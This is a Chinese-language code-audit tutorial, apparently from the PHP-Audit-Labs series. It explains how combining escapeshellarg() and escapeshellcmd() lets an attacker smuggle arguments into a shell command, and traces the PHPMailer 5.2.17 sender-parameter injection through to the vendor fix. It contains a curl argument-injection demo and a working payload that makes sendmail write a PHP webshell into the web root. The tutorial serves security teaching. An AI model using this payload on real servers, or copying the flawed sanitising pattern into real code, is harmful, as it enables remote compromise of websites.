目录

一、题目

1、源码

```php
class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }

        return escapeshellarg($email);
    }

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = 'none@ripstech.com';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }

        if (!isset($data['from'])) {
            $data['from'] = 'none@ripstech.com';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }

        if (!isset($data['message'])) {
            $data['message'] = '';
        }

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}

$mailer = new Mailer();
$mailer->send($_POST);
```

2、知识点

知识点	说明
FILTER_VALIDATE_EMAIL	把值作为e-mail地址来验证
escapeshellarg()	把字符串转码为可以在shell命令里使用的参数
escapeshellcmd()	用于去除字符串中的特殊符号
mail()	允许从脚本中直接发送电子邮件

3、解读

1）第36行，实例化Mailer对象，调用Mailer对象中的send方法，将POST接收到的值作为参数。

2）第10行，进入到send()函数中，如果POST中没有设置to的值，就将to定为默认的邮件地址；否则就调用sanitize()函数，传入to的值。

3）第2行，将to的放入filter_var()函数中，使用e-mail过滤器进行匹配，如果不符合规则，返回空值；否则就将to的值转码成可以在shell命令里使用的参数。

4）第17行，如果POST中没有设置from的值，就将from定为默认的邮件地址；否则就调用sanitize()函数，传入from的值。

5）第2行，将from的放入filter_var()函数中，使用e-mail过滤器进行匹配，如果不符合规则，返回空值；否则就将from的值转码成可以在shell命令里使用的参数。

6）第23行，如果POST中没有设置subject的值，就将subject定为默认的字符串。

7）第27行，如果POST中没有设置message的值，就将message定位空值。

8）第31行，调用mail函数，并传入以上四个参数。

4、分析

1）filter_var()函数中FILTER_VALIDATE_EMAIL选项，所有的特殊符号必须放在双引号中，但是我们在双引号中嵌套转义和空格仍然能够通过检测，也就导致了可以使用转义字符实现引号逃逸。

2）escapeshellarg()函数中，是将传入的字符串转码为可以在shell命令使用的参数，也就是可以转为shell代码。但是escapeshellarg()底层调用了escapeshellcmd()函数，该函数会对用户输入的邮箱地址再次验证，过滤特殊字符。

3）然后，调用escapeshellarg()和escapeshellcmd()一起使用，即可造成特殊字符逃逸。

5、利用

```
l1nk3r@l1nk3r ~/Desktop php test.php
string(25) "'127.0.0.1'\'' -v -d a=1'"
string(27) "'127.0.0.1'\\'' -v -d a=1\'"
string(32) "curl '127.0.0.1'\\'' -v -d a=1\'"
* Rebuilt URL to: 127.0.0.1\/
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*
Could not resolve host: 127.0.0.1\
* Closing connection 0
curl: (6) Could not resolve host: 127.0.0.1\
```

test.php

```php
<?php
$param="127.0.0.1' -v -d a=1";
$a=escapeshellarg($param);
$b=escapeshellcmd($a);
$cmd="curl ".$b;
var_dump($a)."\n";
var_dump($b)."\n";
var_dump($cmd)."\n";
system($cmd);
?>
```

1) 传入的参数为
   127.0.0.1' -v -d a=1
2) 由于escapeshellarg先对单引号转义，再用单引号将左右两部分括起来从而起到连接的作用
   '127.0.0.1'\'' -v -d a=1'
3) 接着escapeshellcmd函数对上面处理后的字符串中 \ 和 a=1' 中的单引号进行转义处理
   '127.0.0.1'\\'' -v -d a=1\'
4) \\被解释成了\而不是转义字符，所以单引号配对连接之后将payload分成了三部分
   '127.0.0.1'\ '' -v -d a=1'
5) 完整拼接后的payload为如下，并成功向 127.0.0.1 发起请求
   curl 127.0.0.1\ -v -d a=1'

二、CMS

1、源码-PHPMailer 5.2.17

class.phpmailer.php

```php
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
```

```php
     protected function mailSend($header, $body)
     {
         $toArr = array();
         foreach ($this->to as $toaddr) {
             $toArr[] = $this->addrFormat($toaddr);
         }
         $to = implode(', ', $toArr);

         $params = null;
         if (!empty($this->Sender)) {
             $params = sprintf('-f%s', $this->Sender);
         }
         if ($this->Sender != '' and !ini_get('safe_mode')) {
             $old_from = ini_get('sendmail_from');
             ini_set('sendmail_from', $this->Sender);
         }
         $result = false;
```

```php
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name));

       ...

        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }
```

```php
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
```

```php
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }

        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {

            if (defined('PCRE_VERSION')) {

                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {

                $patternselect = 'pcre';
            } else {

                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
```

```
        switch ($patternselect) {

         .....

            case 'noregex':

                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

```

2、知识点

知识点	说明
&	引用
ini_get()	获取php.ini里环境变量的值
is_callable()	验证变量的内容能否作为函数调用
call_user_func	返回一个自定义用户函数给出的第一个参数
extension_loaded()	检查一个扩展是否已经加载
PCRE_VERSION	正则表达式版本
define()	定义常量

3、解读

1）图1，mailPassthru()函数中，第12行判断变量$params是否为null，并且 php.ini中的safe_mode模式处于关闭状态时，函数mail()才会传入$params。

2）图2，跟进$params变量到mainlSend()函数中，第9-11行，$params的值是从$this->Sender变量传入的。

3）图3，跟进$thid->Sender到函数setFrom()中，将$address经过处理之后赋值给$this->Sender。

4）图4，跟进$address到$address的if判断中，第3行，通过validateAddress()函数处理$address。

5）图5，跟进validateAddress()函数，第27行，如果没有PCRE常量，并且PHP版本<5.2.0，则$patternselect = 'noregex'。

6）图6，跟进 noregex关键词到switch($patternselect)中，第5行，可以看到如果$patternselect的值为noregex，就是用符号@来处理字符。

4、分析

1）只是使用了@符号对字符进行处理，简单绕过。

2）然后通过linux自身的sendmail写log的方式，把log写到web根目录下。将日志文件后缀定为.php，即可成功写入webshell。

5、利用

```
a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com
```

6、修复方案

官方修复方案：对用户传入的参数进行检测，如果当中存在被转义的字符，则不传递-f参数（-f参数表示发件人，如果不传递该参数，payload就不会被带入mail函数，也就不会造成命令执行），所以不建议同时使用escapeshellcmd()和escapeshellarg()对参数进行过滤。

7、参考链接

```
https://github.com/hongriSec/PHP-Audit-Labs/blob/master/Part1/Day5/files/README.md
```